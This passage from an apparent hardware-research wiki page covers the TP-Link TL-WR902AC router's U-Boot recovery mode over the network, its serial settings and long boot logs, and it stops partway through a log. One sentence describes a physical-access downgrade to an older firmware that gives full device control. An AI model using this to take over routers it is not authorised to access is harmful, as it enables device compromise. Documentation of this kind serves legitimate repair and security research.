&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The examined devices both use the Universal Bootloader (U-Boot), but don&#039;t provide the means to access the U-Boot command line by my knowledge. Additionally it is require to configure the serial connection to use &amp;lt;code&amp;gt;115200 (8N1)&amp;lt;/code&amp;gt;. The only functionality that the bootloader is able to provide is to start into recovery mode. This recovery mode allows to load an image called &amp;lt;code&amp;gt;tp_recovery.bin&amp;lt;/code&amp;gt; over FTP. To do this one need to setup a FTP server with IP address &amp;lt;code&amp;gt;192.168.0.66&amp;lt;/code&amp;gt; and connect the server to the device to recover via ethernet cable. If one has physical access to the device, one could start a downgrade attack, deploying that Firmware version 170828 which gives an attacker full control over the device without even the need to build a custom malicious image. The recovery mode can be started by pressing and holding the reset button until &amp;lt;nowiki&amp;gt;starting recovery...&amp;lt;/nowiki&amp;gt; gets displayed. This process takes about 10 seconds to start. The device will automatically continue to boot normally if no FTP server or image is found.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Factory Reset Button behavior&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
// Factory Reset&lt;br /&gt;
resetCount ++ 0.&lt;br /&gt;
resetCount ++ 1.&lt;br /&gt;
resetCount ++ 2.&lt;br /&gt;
resetCount ++ 3.&lt;br /&gt;
resetCount ++ 4.&lt;br /&gt;
resetCount ++ 5.&lt;br /&gt;
resetCount ++ 6.&lt;br /&gt;
resetCount ++ 7.&lt;br /&gt;
resetCount ++ 8.&lt;br /&gt;
resetCount ++ 9.&lt;br /&gt;
resetCount ++ 10.&lt;br /&gt;
resetCount ++ 11.&lt;br /&gt;
resetCount ++ 12.&lt;br /&gt;
resetCount ++ 13.&lt;br /&gt;
resetCount ++ 14.&lt;br /&gt;
Factory configuration restored..&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_write, Write to 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
&lt;br /&gt;
... Soft Reset ...&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: Load recovery or custom image over FTP&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;U-Boot 1.1.3 (Aug 22 2017 - 09:54:30)&lt;br /&gt;
&lt;br /&gt;
Board: Ralink APSoC DRAM:  64 MB&lt;br /&gt;
relocate_code Pointer at: 83fb4000&lt;br /&gt;
******************************&lt;br /&gt;
Software System Reset Occurred &amp;lt;------------------------------------------&lt;br /&gt;
******************************&lt;br /&gt;
gpiomode1 55154444.&lt;br /&gt;
gpiomode2 05540555.&lt;br /&gt;
flash manufacture id: c8, device id 40 17&lt;br /&gt;
find flash: GD25Q64B&lt;br /&gt;
============================================&lt;br /&gt;
Ralink UBoot Version: 4.3.0.0&lt;br /&gt;
--------------------------------------------&lt;br /&gt;
ASIC 7628_MP (Port5&amp;lt;-&amp;gt;None)&lt;br /&gt;
DRAM component: 512 Mbits DDR, width 16&lt;br /&gt;
DRAM bus: 16 bit&lt;br /&gt;
Total memory: 64 MBytes&lt;br /&gt;
Flash component: SPI Flash&lt;br /&gt;
Date:Aug 22 2017  Time:09:54:30&lt;br /&gt;
============================================&lt;br /&gt;
icache: sets:512, ways:4, linesz:32 ,total:65536&lt;br /&gt;
dcache: sets:256, ways:4, linesz:32 ,total:32768&lt;br /&gt;
&lt;br /&gt;
 ##### The CPU freq = 580 MHZ ####&lt;br /&gt;
 estimate memory size =64 Mbytes&lt;br /&gt;
RESET MT7628 PHY!!!!!!..................................................  &amp;lt;---------- Contine holding reset button&lt;br /&gt;
starting recovery...&lt;br /&gt;
TODO, Read MAC Address from Flash&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 netboot_common, argc= 3&lt;br /&gt;
&lt;br /&gt;
 NetTxPacket = 0x83FE38C0&lt;br /&gt;
&lt;br /&gt;
 KSEG1ADDR(NetTxPacket) = 0xA3FE38C0&lt;br /&gt;
&lt;br /&gt;
 NetLoop,call eth_halt !&lt;br /&gt;
&lt;br /&gt;
 NetLoop,call eth_init !&lt;br /&gt;
Trying Eth0 (10/100-M)&lt;br /&gt;
&lt;br /&gt;
 Waitting for RX_DMA_BUSY status Start... done&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ETH_STATE_ACTIVE!!&lt;br /&gt;
TFTP from server &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;192.168.0.66&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;; our IP address is &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;192.168.0.2&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Filename &#039;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;tp_recovery.bin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&#039;.&lt;br /&gt;
&lt;br /&gt;
 TIMEOUT_COUNT=10,Load address: 0x80060000&lt;br /&gt;
Loading: T T T T T T T T T T                                              &amp;lt;----------- Timemout &lt;br /&gt;
Retry count exceeded; starting again&lt;br /&gt;
&lt;br /&gt;
... Loads Linux ...&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Bootlog&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Linux version 2.6.36 (soho@soho) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #7 Mon Aug 28 15:55:59 HKT 2017&lt;br /&gt;
&lt;br /&gt;
 The CPU feqenuce set to 575 MHz&lt;br /&gt;
&lt;br /&gt;
 MIPS CPU sleep mode enabled.&lt;br /&gt;
CPU revision is: 00019655 (MIPS 24Kc)&lt;br /&gt;
Software DMA cache coherency&lt;br /&gt;
Determined physical RAM map:&lt;br /&gt;
 memory: 04000000 @ 00000000 (usable)&lt;br /&gt;
Initrd not found or empty - disabling initrd&lt;br /&gt;
Zone PFN ranges:&lt;br /&gt;
  Normal   0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Movable zone start PFN for each node&lt;br /&gt;
early_node_map[1] active PFN ranges&lt;br /&gt;
    0: 0x00000000 -&amp;gt; 0x00004000&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.&lt;br /&gt;
Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=0006b4ae&lt;br /&gt;
Readback ErrCtl register=0006b4ae&lt;br /&gt;
Memory: 61076k/65536k available (2715k kernel code, 4460k reserved, 664k data, 168k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
console [ttyS1] enabled&lt;br /&gt;
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)&lt;br /&gt;
pid_max: default: 4096 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
RALINK_GPIOMODE = 55154444&lt;br /&gt;
RALINK_GPIOMODE = 55144444&lt;br /&gt;
***** Xtal 40MHz *****&lt;br /&gt;
start PCIe register access&lt;br /&gt;
RALINK_RSTCTRL = 2400000&lt;br /&gt;
RALINK_CLKCFG1 = fdbfffc0&lt;br /&gt;
&lt;br /&gt;
*************** MT7628 PCIe RC mode *************&lt;br /&gt;
PCIE0 enabled&lt;br /&gt;
Port 0 N_FTS = 1b105000&lt;br /&gt;
init_rt2880pci done&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
pci 0000:00:00.0: BAR 0: can&#039;t assign mem (size 0x80000000)&lt;br /&gt;
pci 0000:00:00.0: BAR 8: assigned [mem 0x20000000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0: BAR 1: assigned [mem 0x20200000-0x2020ffff]&lt;br /&gt;
pci 0000:00:00.0: BAR 1: set to [mem 0x20200000-0x2020ffff] (PCI address [0x20200000-0x2020ffff]&lt;br /&gt;
pci 0000:01:00.0: BAR 0: assigned [mem 0x20000000-0x200fffff]&lt;br /&gt;
pci 0000:01:00.0: BAR 0: set to [mem 0x20000000-0x200fffff] (PCI address [0x20000000-0x200fffff]&lt;br /&gt;
pci 0000:01:00.1: BAR 0: assigned [mem 0x20100000-0x201fffff]&lt;br /&gt;
pci 0000:01:00.1: BAR 0: set to [mem 0x20100000-0x201fffff] (PCI address [0x20100000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0: PCI bridge to [bus 01-01]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [io  disabled]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [mem 0x20000000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [mem pref disabled]&lt;br /&gt;
BAR0 at slot 0 = 0&lt;br /&gt;
bus=0x0, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 0&lt;br /&gt;
res[0]-&amp;gt;end = 0&lt;br /&gt;
res[1]-&amp;gt;start = 20200000&lt;br /&gt;
res[1]-&amp;gt;end = 2020ffff&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
bus=0x1, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 20000000&lt;br /&gt;
res[0]-&amp;gt;end = 200fffff&lt;br /&gt;
res[1]-&amp;gt;start = 0&lt;br /&gt;
res[1]-&amp;gt;end = 0&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
bus=0x1, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 20100000&lt;br /&gt;
res[0]-&amp;gt;end = 201fffff&lt;br /&gt;
res[1]-&amp;gt;start = 0&lt;br /&gt;
res[1]-&amp;gt;end = 0&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
Switching to clocksource Ralink Systick timer&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
RT3xxx EHCI/OHCI init.&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
fuse init (API version 7.15)&lt;br /&gt;
msgmni has been set to 119&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
gpiomode1 55144444.&lt;br /&gt;
gpiomode2 00000445.&lt;br /&gt;
Ralink gpio driver initialized&lt;br /&gt;
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled&lt;br /&gt;
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A&lt;br /&gt;
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A&lt;br /&gt;
brd: module loaded&lt;br /&gt;
flash manufacture id: c8, device id 40 17&lt;br /&gt;
GD25Q64B(c8 40170000) (8192 Kbytes)&lt;br /&gt;
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0&lt;br /&gt;
Creating 7 MTD partitions on &amp;quot;raspi&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000020000 : &amp;quot;boot&amp;quot;&lt;br /&gt;
0x000000020000-0x000000160000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x000000160000-0x0000007c0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd: partition &amp;quot;rootfs&amp;quot; set to be root filesystem&lt;br /&gt;
0x0000007c0000-0x0000007d0000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x0000007d0000-0x0000007e0000 : &amp;quot;romfile&amp;quot;&lt;br /&gt;
0x0000007e0000-0x0000007f0000 : &amp;quot;rom&amp;quot;&lt;br /&gt;
0x0000007f0000-0x000000800000 : &amp;quot;radio&amp;quot;&lt;br /&gt;
Register flash device:flash0&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP MPPE Compression module registered&lt;br /&gt;
NET: Registered protocol family 24&lt;br /&gt;
Mirror/redirect action on&lt;br /&gt;
u32 classifier&lt;br /&gt;
    Actions configured&lt;br /&gt;
Netfilter messages via NETLINK v0.30.&lt;br /&gt;
nf_conntrack version 0.5.0 (954 buckets, 3816 max)&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
ip6_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Ebtables v2.0 registered&lt;br /&gt;
802.1Q VLAN Support v1.8 Ben Greear &amp;lt;greearb@candelatech.com&amp;gt;&lt;br /&gt;
All bugs added by David S. Miller &amp;lt;davem@redhat.com&amp;gt;&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing unused kernel memory: 168k freed&lt;br /&gt;
starting pid 691, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
rdm_major = 253&lt;br /&gt;
SCSI subsystem initialized&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
Ralink APSoC Ethernet Driver Initilization. v3.1  256 rx/tx descriptors allocated, mtu = 1500!&lt;br /&gt;
NAPI enable, Tx Ring = 256, Rx Ring = 256&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
PROC INIT OK!&lt;br /&gt;
usbcore: registered new interface driver usbfs&lt;br /&gt;
usbcore: registered new interface driver hub&lt;br /&gt;
usbcore: registered new device driver usb&lt;br /&gt;
ehci_hcd: USB 2.0 &#039;Enhanced&#039; Host Controller (EHCI) Driver&lt;br /&gt;
FM_OUT value: u4FmOut = 0(0x00000000)&lt;br /&gt;
FM_OUT value: u4FmOut = 125(0x0000007D)&lt;br /&gt;
FM detection done! loop = 1&lt;br /&gt;
SR calibration value u1SrCalVal = 7&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: Ralink EHCI Host Controller&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: new USB bus registered, assigned bus number 1&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: irq 18, io mem 0x101c0000&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: USB 0.0 started, EHCI 1.00&lt;br /&gt;
hub 1-0:1.0: USB hub found&lt;br /&gt;
hub 1-0:1.0: 1 port detected&lt;br /&gt;
ohci_hcd: USB 1.1 &#039;Open&#039; Host Controller (OHCI) Driver&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: RT3xxx OHCI Controller&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: new USB bus registered, assigned bus number 2&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: irq 18, io mem 0x101c1000&lt;br /&gt;
hub 2-0:1.0: USB hub found&lt;br /&gt;
hub 2-0:1.0: 1 port detected&lt;br /&gt;
Initializing USB Mass Storage driver...&lt;br /&gt;
usbcore: registered new interface driver usb-storage&lt;br /&gt;
USB Mass Storage support registered.&lt;br /&gt;
add domain:tplinkwifi.net&lt;br /&gt;
add domain:tplinklogin.net&lt;br /&gt;
tp_domain init ok&lt;br /&gt;
/etc/init.d/rcS: line 78: telnetd: not found&lt;br /&gt;
L2TP core driver, V2.0&lt;br /&gt;
PPPoL2TP kernel driver, V2.0&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
starting pid 778, tty &#039;/dev/ttyS1&#039;: &#039;/bin/sh&#039;&lt;br /&gt;
~ # [ util_execSystem ] 139:  ipt_init cmd is &amp;quot;/var/tmp/dconf/rc.router&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ dm_readFile ] 2061:  can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0xad26, ret 0, retlen 0xad26&lt;br /&gt;
===&amp;gt;Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
 mode&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2001 error&lt;br /&gt;
[ util_execSystem ] 139:  oal_startDynDns cmd is &amp;quot;dyndns /var/tmp/dconf/dyndns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ oal_sys_getOldTZInfo ] 519:  Open TZ file error!&lt;br /&gt;
[ util_execSystem ] 139:  oal_sys_unsetTZ cmd is &amp;quot;echo &amp;quot;&amp;quot; &amp;gt; /etc/TZ&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_startNoipDns cmd is &amp;quot;noipdns /var/tmp/dconf/noipdns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_startCmxDns cmd is &amp;quot;cmxdns /var/tmp/dconf/cmxdns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ioctl: No such device&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addBridge cmd is &amp;quot;brctl addbr br0;brctl setfd br0 0;brctl stp br0 off&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_addLanRules cmd is &amp;quot;iptables -t filter -A INPUT -i br+ -j ACCEPT&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIntf cmd is &amp;quot;ifconfig br0 192.168.1.1 netmask 255.255.255.0 up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_util_setProcLanAddr cmd is &amp;quot;echo &amp;quot;br0 16885952,&amp;quot; &amp;gt; /proc/net/conRaeth v3.1 (ntract_LocalAddrNAPI&lt;br /&gt;
&lt;br /&gt;
[ util_exec,SkbRecycleSystem ] 139:  o)&lt;br /&gt;
al_intf_enableIn&lt;br /&gt;
phy_tx_ring = 0x0318b000, tx_ring = 0xa318b000&lt;br /&gt;
tf cmd is &amp;quot;ifcon&lt;br /&gt;
phy_rx_ring0 = 0x0318c000, rx_ring0 = 0xa318c000&lt;br /&gt;
fig eth0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[fe_sw_init:5185]rt305x_esw_init.&lt;br /&gt;
disable switch phyport...&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
RT305x_ESW: Link Status Changed&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 1 : [3]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 2 : [4]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 3 : [5]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 4 : [6]&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.3 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.3 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.4 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.4 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.5 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.5 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.6 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.6 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 2&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntdevice eth0.3 entered promiscuous mode&lt;br /&gt;
f cmd is &amp;quot;ifconfdevice eth0 entered promiscuous mode&lt;br /&gt;
ig eth0.2 up&amp;quot;&lt;br /&gt;
br0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
&lt;br /&gt;
set if eth0.2 tbr0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
o wan dev&lt;br /&gt;
[ vlan_addLanPortsIntoBridge ] 574:  add lan Port 255 from br0&lt;br /&gt;
[ utidevice eth0.4 entered promiscuous mode&lt;br /&gt;
l_execSystem ] 1br0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
39:  oal_br_addIbr0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
ntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_bdevice eth0.5 entered promiscuous mode&lt;br /&gt;
r_addIntfIntoBribr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
dge cmd is &amp;quot;brctbr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
l addif br0 eth0.4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmd isdevice eth0.6 entered promiscuous mode&lt;br /&gt;
 &amp;quot;brctl addif brbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
0 eth0.5&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ ubr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
til_execSystem ] 139:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initIPv6CfgObj cmd is &amp;quot;echo 1 &amp;gt; /proc/sys/net/ipv6/conf/all/disable_ipv6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_eth_setIGMPSnoopParam cmd is &amp;quot;for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 &amp;gt; $i ; done&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv ra0 set CountryRegion=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ra0       no private ioctls.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 255&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c0988000, size = 1493064 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x&lt;br /&gt;
